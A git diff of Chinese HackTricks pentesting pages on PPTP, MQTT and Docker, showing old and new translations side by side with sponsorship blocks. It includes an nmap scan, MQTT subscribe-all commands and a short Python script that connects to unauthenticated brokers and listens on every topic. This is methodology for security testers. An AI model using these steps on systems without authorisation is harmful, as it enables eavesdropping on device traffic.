如果您对**黑客职业**感兴趣并想要黑入无法黑入的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,22 @@
|
|||
# 1723 - PPTP渗透测试
|
||||
# 1723 - 渗透测试 PPTP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
点对点隧道协议(PPTP)通常用于为移动设备提供远程访问,它使用TCP端口1723进行密钥交换,并使用IP协议47(GRE)在对等方之间加密数据。
|
||||
**点对点隧道协议(PPTP)** 是一种广泛用于**远程访问移动设备**的方法。它利用 **TCP 端口 1723** 交换密钥,而 **IP 协议 47**(通用路由封装,或 **GRE**)用于加密对等方之间传输的数据。这种设置对于在互联网上建立安全通信通道至关重要,确保交换的数据保持机密,并免受未经授权的访问。
|
||||
|
||||
**默认端口**:1723
|
||||
|
||||
|
@ -29,23 +27,19 @@ nmap –Pn -sSV -p1723 <IP>
|
|||
### [暴力破解](../generic-methodologies-and-resources/brute-force.md#pptp)
|
||||
|
||||
## 漏洞
|
||||
|
||||
{% embed url="https://www.schneier.com/academic/pptp/" %}
|
||||
|
||||
{% embed url="https://github.com/moxie0/chapcrack" %}
|
||||
* [https://www.schneier.com/academic/pptp/](https://www.schneier.com/academic/pptp/)
|
||||
* [https://github.com/moxie0/chapcrack](https://github.com/moxie0/chapcrack)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
MQTT代表MQ Telemetry Transport。它是一种发布/订阅的**极其简单和轻量级的消息传递协议**,专为受限设备和带宽有限、延迟高或不可靠的网络设计。设计原则是在尽量减少网络带宽和设备资源需求的同时,也尽量确保可靠性和一定程度的传递保证。这些原则也使得该协议成为新兴的“机器对机器”(M2M)或“物联网”世界中连接设备的理想选择,并适用于带宽和电池功耗有限的移动应用。
|
||||
**MQ Telemetry Transport (MQTT)** 被称为一种**发布/订阅消息传输协议**,以其极端简单和轻量著称。该协议专门为设备能力有限、运行在低带宽、高延迟或不稳定连接特征的网络环境而设计。MQTT的核心目标包括减少网络带宽的使用和降低对设备资源的需求。此外,它旨在保持可靠的通信并提供一定程度的传递保证。这些目标使MQTT非常适用于蓬勃发展的**机器对机器(M2M)通信**和**物联网(IoT)**领域,在这些领域中,高效连接大量设备至关重要。此外,MQTT对于移动应用程序也非常有益,其中节省带宽和电池寿命至关重要。
|
||||
|
||||
**默认端口:** 1883
|
||||
```
|
||||
|
@ -27,30 +25,35 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## 检查流量
|
||||
|
||||
MQTT代理在收到CONNECT数据包后会发送CONNACK数据包作为响应。返回码0x00表示凭据有效,返回码0x05表示凭据无效。0x05示例:
|
||||
当 MQTT 代理接收到 **CONNECT** 数据包时,会发送回一个 **CONNACK** 数据包。该数据包包含一个返回码,对于理解连接状态至关重要。返回码 **0x00** 表示凭据已被接受,表明连接成功。另一方面,返回码 **0x05** 表示凭据无效,从而阻止连接。
|
||||
|
||||
例如,如果代理因凭据无效而拒绝连接,则场景会如下所示:
|
||||
```
|
||||
{
|
||||
"returnCode": "0x05",
|
||||
"description": "Connection Refused, not authorized"
|
||||
}
|
||||
```
|
||||
![](<../.gitbook/assets/image (645) (1).png>)
|
||||
|
||||
### [**暴力破解MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt)
|
||||
### [**暴力破解 MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt)
|
||||
|
||||
## MQTT渗透测试
|
||||
## MQTT 渗透测试
|
||||
|
||||
**身份验证是完全可选的**,即使正在执行身份验证,**默认情况下不使用加密**(凭据以明文形式发送)。仍然可以执行中间人攻击来窃取密码。
|
||||
**身份验证完全是可选的**,即使正在执行身份验证,**默认情况下不使用加密**(凭据以明文形式发送)。仍然可以执行中间人攻击来窃取密码。
|
||||
|
||||
要连接到MQTT服务,可以使用:[https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell),并订阅所有主题:
|
||||
要连接到 MQTT 服务,可以使用:[https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) 并订阅所有主题:
|
||||
```
|
||||
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
|
||||
> subscribe "#" 1
|
||||
> subscribe "$SYS/#"
|
||||
```
|
||||
你还可以使用[**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
|
||||
|
||||
你还可以使用:
|
||||
你也可以使用[**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
|
||||
```bash
|
||||
apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscriribe to 'test/topic'
|
||||
```
|
||||
或者你可以运行以下代码尝试连接到一个没有身份验证的MQTT服务,订阅所有主题并监听它们:
|
||||
或者您可以**运行此代码尝试连接到一个没有身份验证的MQTT服务,订阅每个主题并监听它们**:
|
||||
```python
|
||||
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
|
||||
import paho.mqtt.client as mqtt
|
||||
|
@ -81,45 +84,55 @@ main()
|
|||
```
|
||||
## 更多信息
|
||||
|
||||
来自这里:[https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
从这里获取:[https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### 发布/订阅模式 <a href="#b667" id="b667"></a>
|
||||
|
||||
发布/订阅模式由以下组成:
|
||||
发布/订阅模型由以下组成:
|
||||
|
||||
* **发布者**:将消息发布到代理中的一个或多个主题。
|
||||
* **订阅者**:订阅代理中的一个或多个主题,并接收发布者发送的所有消息。
|
||||
* **代理**:将发布者的所有消息路由到订阅者。
|
||||
* **主题**:由一个或多个级别组成,级别之间用正斜杠分隔(例如,/smartshouse/livingroom/temperature)。
|
||||
|
||||
![](https://miro.medium.com/max/1073/1\*sIxvchdgHSqAGebJjFHBAg.png)
|
||||
- **发布者**:向代理发布消息到一个(或多个)主题。
|
||||
- **订阅者**:订阅一个(或多个)主题在代理中,并接收所有从发布者发送的消息。
|
||||
- **代理**:将所有来自发布者的消息路由到订阅者。
|
||||
- **主题**:由一个或多个级别组成,级别之间用斜杠分隔(例如,/smartshouse/livingroom/temperature)。
|
||||
|
||||
### 数据包格式 <a href="#f15a" id="f15a"></a>
|
||||
|
||||
每个 MQTT 数据包都包含一个固定的标头(图 02)。图 02:固定标头
|
||||
每个 MQTT 数据包包含一个固定头部(图 02)。图 02:固定头部
|
||||
|
||||
![](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
|
||||
![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
|
||||
|
||||
固定标头的第一个字段表示 MQTT 数据包的类型。所有数据包类型都列在表 01 中。表 01:MQTT 数据包类型
|
||||
### 数据包类型
|
||||
|
||||
![](https://miro.medium.com/max/1469/1\*z0fhdUVzGa0PLikH\_cyBmQ.png)
|
||||
- CONNECT(1):由客户端发起,请求与服务器建立连接。
|
||||
- CONNACK(2):服务器对成功连接的确认。
|
||||
- PUBLISH(3):用于在客户端和服务器之间发送消息。
|
||||
- PUBACK(4):对 PUBLISH 数据包的确认。
|
||||
- PUBREC(5):消息传递协议的一部分,确保消息已接收。
|
||||
- PUBREL(6):进一步确保消息传递,指示消息释放。
|
||||
- PUBCOMP(7):消息传递协议的最后部分,指示完成。
|
||||
- SUBSCRIBE(8):客户端请求从主题接收消息。
|
||||
- SUBACK(9):服务器对 SUBSCRIBE 请求的确认。
|
||||
- UNSUBSCRIBE(10):客户端请求停止从主题接收消息。
|
||||
- UNSUBACK(11):服务器对 UNSUBSCRIBE 请求的响应。
|
||||
- PINGREQ(12):客户端发送的心跳消息。
|
||||
- PINGRESP(13):服务器对心跳消息的响应。
|
||||
- DISCONNECT(14):由客户端发起,终止连接。
|
||||
- 两个值,0 和 15,被标记为保留,禁止使用。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:1883 MQTT`
|
||||
- `port:1883 MQTT`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
|
||||
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,30 @@
|
|||
# 2375, 2376 Docker 渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## Docker 基础知识
|
||||
## Docker基础知识
|
||||
|
||||
### 什么是 Docker
|
||||
### 什么是
|
||||
|
||||
Docker 平台是业界领先的容器平台,支持持续、高速创新,使组织能够无缝构建和共享任何应用程序 — 从传统应用到未来的应用 — 并在任何地方安全运行它们。
|
||||
Docker是**容器化行业**中的**前沿平台**,引领**持续创新**。它便于轻松创建和分发应用程序,涵盖**传统到未来**的范围,并确保它们在不同环境中的**安全部署**。
|
||||
|
||||
### 基本 Docker 架构
|
||||
### 基本Docker架构
|
||||
|
||||
* **[containerd](http://containerd.io)** 是一个容器运行时,能够**管理容器的整个生命周期,包括镜像的传输和存储,以及容器的执行、监督和网络**。**有关 containerd 的更多详细信息如下**。
|
||||
* 无头容器的处理由 container-shim 完成,它充当中间件。具体来说,在 runc 初始化容器后,控制权会传递给 container-shim。
|
||||
* **[runc](http://runc.io)** 被认为是一个轻量级、通用的容器运行时,符合 OCI 规范。containerd 使用它根据 OCI 规范启动和管理容器,它是 libcontainer 的重新命名版本。
|
||||
* 为了促进 containerd 和 docker-engine 之间的通信,使用了 **[grpc](http://www.grpc.io)**。
|
||||
* OCI 维护了有关运行时和镜像的规范,当前的 Docker 版本符合 OCI 镜像和运行时规范。
|
||||
- **[containerd](http://containerd.io)**: 这是容器的**核心运行时**,负责全面**管理容器的生命周期**。这包括处理**镜像传输和存储**,以及监视和网络化容器的**执行**。对containerd的**更详细见解**将进一步探讨。
|
||||
- **容器shim**在处理**无头容器**时发挥关键作用,它在容器初始化后无缝接管**runc**的任务。
|
||||
- **[runc](http://runc.io)**: 以其**轻量级和通用容器运行时**功能而闻名,runc符合**OCI标准**。它由containerd用于根据**OCI指南**启动和管理容器,从最初的**libcontainer**发展而来。
|
||||
- **[grpc](http://www.grpc.io)**对于在containerd和**docker-engine**之间**促进通信**至关重要,确保**高效互动**。
|
||||
- **[OCI](https://www.opencontainers.org)**对于维护运行时和镜像的**OCI规范**至关重要,最新的Docker版本符合**OCI镜像和运行时**标准。
|
||||
|
||||
### 基本命令
|
||||
```bash
|
||||
|
@ -53,9 +51,11 @@ docker system prune -a
|
|||
```
|
||||
### Containerd
|
||||
|
||||
Containerd被设计用于被Docker和Kubernetes使用,以及任何其他希望在Linux、Windows、Solaris或其他操作系统上**抽象出系统调用或特定于操作系统的功能以运行容器**的容器平台。考虑到这些用户,我们希望确保containerd只包含他们需要的内容,而不包含他们不需要的内容。实际上这是不可能的,但至少这是我们努力追求的目标。像**网络这样的功能对于containerd来说是超出范围的**。原因在于,在构建分布式系统时,网络是一个非常核心的方面。随着今天的SDN和服务发现,网络比在Linux上抽象出netlink调用要具体得多。
|
||||
**Containerd**是专门为像**Docker和Kubernetes**等容器平台的需求而开发的。它旨在通过抽象操作系统特定功能和系统调用,简化在各种操作系统(包括Linux、Windows、Solaris等)上执行容器的过程。Containerd的目标是仅包含其用户所需的基本功能,努力省略不必要的组件。然而,完全实现这一目标被认为是具有挑战性的。
|
||||
|
||||
请注意,**Docker使用Containerd,但它只提供Docker提供的功能的子集**。例如,ContainerD没有Docker的网络管理功能,也不能单独使用ContainerD来创建Docker集群。
|
||||
一个关键的设计决定是**Containerd不处理网络**。网络被认为是分布式系统中的一个关键元素,具有诸如软件定义网络(SDN)和服务发现等复杂性,这些复杂性在不同平台之间差异很大。因此,Containerd将网络方面的处理留给了它支持的平台来管理。
|
||||
|
||||
虽然**Docker利用Containerd**来运行容器,但重要的是要注意,Containerd仅支持Docker功能的子集。具体来说,Containerd缺乏Docker中存在的网络管理功能,并且不直接支持创建Docker swarms。这种区别突显了Containerd作为容器运行时环境的专注角色,将更专业化的功能委托给其集成的平台。
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
|
@ -73,17 +73,22 @@ ctr container delete <containerName>
|
|||
```
|
||||
### Podman
|
||||
|
||||
一个由 Red Hat 维护的符合 OCI([Open Container Initiative](https://github.com/opencontainers))标准的开源容器引擎,名为 Podman。与 Docker 相比,它具有几个关键区别,包括无守护程序结构和支持不需要 root 访问权限的容器。这两个工具的主要功能是管理镜像和容器。Podman 的一个显著目标是与 Docker 的 API 兼容,允许在 Podman 中使用几乎所有 Docker CLI 命令。
|
||||
**Podman** 是一个遵循[Open Container Initiative (OCI) 标准](https://github.com/opencontainers)的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 有几个明显的特点,尤其是其**无守护程序架构**和对**无根容器**的支持,使用户能够在无需 root 权限的情况下运行容器。
|
||||
|
||||
在 Podman 生态系统中,还有两个额外的工具,Buildah 和 Skopeo。Buildah 用作构建容器镜像的 CLI 工具,而 Skopeo 用于执行像推送、拉取或检查等镜像操作。有关这些工具及其与 Podman 集成的更多信息,请参阅它们的 [GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。
|
||||
Podman 的设计旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统,其中包括诸如**Buildah**用于构建容器镜像和**Skopeo**用于推送、拉取和检查镜像等操作的工具。有关这些工具的更多详细信息,请参阅它们的[GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。
|
||||
|
||||
**主要区别**
|
||||
|
||||
Docker 和 Podman 最显著的区别在于它们的架构设计。Docker 采用客户端-服务器模型,需要使用 Docker CLI 与负责构建镜像和执行容器的后台守护程序进行交互,后者以 root 权限运行。相比之下,Podman 使用无守护程序架构,允许容器在启动用户的权限下执行,无需 root 访问权限。这种设计确保 Podman 的用户只能与自己的容器交互,而无需共享用于 CLI 通信的守护程序。
|
||||
- **架构**:与 Docker 的客户端-服务器模型及后台守护程序不同,Podman 在没有守护程序的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对 root 访问的需求来增强安全性。
|
||||
|
||||
为了在没有守护程序的情况下支持后台容器操作,Podman 与 **systemd** 集成,通过 systemd 单元管理容器。这种集成随 Podman 版本而异,提供为现有容器和尚未创建的容器生成单元的能力,并促进 systemd 在容器内的运行。与 Podman 不同,Docker 传统上依赖 systemd 进行守护程序管理。
|
||||
- **Systemd 集成**:Podman 与 **systemd** 集成以管理容器,允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护程序进程的 systemd 的用法形成对比。
|
||||
|
||||
